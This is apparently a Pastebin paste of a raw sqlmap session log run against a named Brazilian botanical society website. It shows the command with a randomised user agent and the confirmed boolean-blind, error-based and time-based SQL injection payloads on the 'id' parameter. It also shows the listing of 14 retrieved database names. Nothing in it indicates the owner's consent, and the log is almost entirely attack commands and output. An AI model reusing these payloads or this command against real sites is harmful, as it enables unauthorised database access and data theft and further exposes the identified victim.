Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $ python sqlmap.py -u http://www.botanica.org.br/go_news.php?id=62 --dbs --random-agent
- ___
- __H__
- ___ ___[)]_____ ___ ___ {1.1.12.12#dev}
- |_ -| . [,] | .'| . |
- |___|_ [.]_|_|_|__,| _|
- |_|V |_| http://sqlmap.org
- [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
- [*] starting at 22:42:04
- [22:42:05] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1' from file '/home/Frenetic/SQLMAP/txt/user-agents.txt'
- [22:42:09] [INFO] testing connection to the target URL
- [22:42:10] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
- [22:42:10] [INFO] testing if the target URL content is stable
- [22:42:11] [INFO] target URL content is stable
- [22:42:11] [INFO] testing if GET parameter 'id' is dynamic
- [22:42:11] [INFO] confirming that GET parameter 'id' is dynamic
- [22:42:11] [INFO] GET parameter 'id' is dynamic
- [22:42:13] [INFO] heuristics detected web page charset 'ascii'
- [22:42:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
- [22:42:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
- [22:42:13] [INFO] testing for SQL injection on GET parameter 'id'
- it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
- for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
- [22:42:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
- [22:42:17] [WARNING] reflective value(s) found and filtering out
- [22:42:18] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Em")
- [22:42:18] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- [22:42:19] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
- [22:42:19] [INFO] testing 'MySQL inline queries'
- [22:42:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
- [22:42:19] [WARNING] time-based comparison requires larger statistical model, please wait................... (done)
- [22:42:47] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
- [22:42:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
- [22:42:47] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
- sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
- ---
- Parameter: id (GET)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=62 AND 5236=5236
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: id=62 AND (SELECT 3948 FROM(SELECT COUNT(*),CONCAT(0x7170787871,(SELECT (ELT(3948=3948,1))),0x71706a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=62 AND SLEEP(5)
- ---
- [22:43:04] [INFO] the back-end DBMS is MySQL
- web application technology: Apache 2.4.29
- back-end DBMS: MySQL >= 5.0
- [22:43:04] [INFO] fetching database names
- [22:43:06] [INFO] used SQL query returns 14 entries
- [22:43:06] [INFO] retrieved: information_schema
- [22:43:06] [INFO] retrieved: botanica_acta
- [22:43:07] [INFO] retrieved: botanica_acta02
- [22:43:07] [INFO] retrieved: botanica_acta03
- [22:43:08] [INFO] retrieved: botanica_acta04
- [22:43:08] [INFO] retrieved: botanica_acta05
- [22:43:08] [INFO] retrieved: botanica_acta1
- [22:43:08] [INFO] retrieved: botanica_eventos
- [22:43:09] [INFO] retrieved: botanica_herbarios
- [22:43:09] [INFO] retrieved: botanica_herbarios_bkp
- [22:43:09] [INFO] retrieved: botanica_herbarios_old
- [22:43:09] [INFO] retrieved: botanica_re-centro-oeste
- [22:43:09] [INFO] retrieved: botanica_sbb
- [22:43:10] [INFO] retrieved: botanica_sbb_bkp
- available databases [14]:
- [*] botanica_acta
- [*] botanica_acta02
- [*] botanica_acta03
- [*] botanica_acta04
- [*] botanica_acta05
- [*] botanica_acta1
- [*] botanica_eventos
- [*] botanica_herbarios
- [*] botanica_herbarios_bkp
- [*] botanica_herbarios_old
- [*] botanica_re-centro-oeste
- [*] botanica_sbb
- [*] botanica_sbb_bkp
- [*] information_schema
- [22:43:10] [INFO] fetched data logged to text files under '/home/Frenetic/.sqlmap/output/www.botanica.org.br'
- [*] shutting down at 22:43:10
Add Comment
Please, Sign In to add comment